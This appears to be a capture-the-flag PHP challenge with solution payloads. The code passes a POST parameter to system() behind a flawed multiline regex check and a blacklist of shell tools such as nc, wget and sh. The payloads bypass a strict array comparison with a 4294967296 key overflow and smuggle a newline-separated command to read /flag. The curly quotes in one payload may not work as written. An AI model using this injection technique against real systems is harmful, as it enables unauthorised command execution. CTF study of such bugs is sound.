<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
}else{
highlight_file(__FILE__);
}
payload:
stuff[4294967296]=admin&stuff[]=user&num=123%0aa=fl;b=ag;tac /$a$b
stuff[4294967296]=admin&stuff[]=user&num=123%0aca’’t /fl’’ag
另
对于没有定义$arr[0]=’admin’,定义的[4294967296]=’admin’
但是$arr===$array却是返回的true
并且$arr[0]!=’admin’ 也是返回true
俺也不知道为啥,记着吧